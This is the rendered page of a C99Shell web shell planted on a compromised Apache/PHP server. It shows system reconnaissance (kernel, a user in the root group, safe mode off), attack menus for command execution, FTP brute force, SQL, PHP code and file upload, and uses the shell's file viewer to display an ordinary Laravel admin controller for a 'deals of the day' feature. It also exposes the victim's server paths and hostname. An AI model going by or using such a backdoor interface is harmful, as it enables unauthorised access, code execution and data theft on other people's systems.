!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smab.picotech.app/public_html/app/Http/Controllers/Admin/   drwxr-xr-x
Free 29.39 GB of 117.98 GB (24.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DealsOfTheDayController.php (2.73 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Admin;

use 
App\Http\Controllers\Controller;
use 
App\Models\DOD;
use 
App\Models\Product;
use 
App\Models\ProductDescription;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Route;

class 
DealsOfTheDayController extends Controller
{
    public function 
index(Request $request) {
        
$name $request->get('name''');
        
$records DOD::select('id','product_id')
            ->
with('productDetails:id,image,price')
            ->
with('productDescription:product_id,name')
            ->
with('productSpecial:product_id,price')
            ->
get();
        
$data['pluckProducts'] =  ProductDescription::getActiveSpecialPluck();
        
$data['pluckDODProducts'] = DOD::getPluck();

        return 
view('admin.dealoftheday.index',['records' => $records,'data' => $data]);
    }

    protected function 
validateData ($request) {
        
$this->validate($request, [
            
'product_id' => ['required']
        ]);
    }

    public function 
store(Request $request) {

        
$this->validateData($request);
        
DOD::truncate();
        
$dodProducts $this->getDODProduct($request->product_id);
        
$data DOD::insert($dodProducts);

        
$getDodProducts DOD::pluck('product_id')->toArray();

        
$dodProductsArr Product::select('id','image','category_id''model','price''quantity','sort_order','status','date_available','category_id','created_at')
                ->
with('productDescription:name,id,product_id','special:product_id,price,start_date,end_date',
                        
'category:name,category_id'
                 
)
                ->
whereHas('special',function($q){
                    
$q->where('start_date','<=',date('Y-m-d'));
                    
$q->where('end_date','>=',date('Y-m-d'));
                 })
                ->
where('date_available','<=',date('Y-m-d'))
                ->
where('status','1')
                ->
whereIn('id',$getDodProducts)
                ->
orderBy('sort_order','ASC')
                ->
take(5)
                ->
get();

        
$storeArr $this->buildProductObj($dodProductsArr);

        
$val json_encode($storeArr);
        
$filename base_path().'/storage/app/dodProducts.json';
        
$fp=fopen($filename,"w");
        
fwrite($fp,$val);
        
fclose($fp);

        return 
redirect(route('trending_dod'))->with('success','Deals Of The Day Added!');
    }

    protected function 
getDODProduct($productId) {
        
$dataArray = [];
        if(isset(
$productId)) {
            foreach(
$productId as $key => $value) {
                
$dataArray[] = [
                    
'product_id' => $value,
                ];
            }
        }
        return 
$dataArray;
    }


}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0032 ]--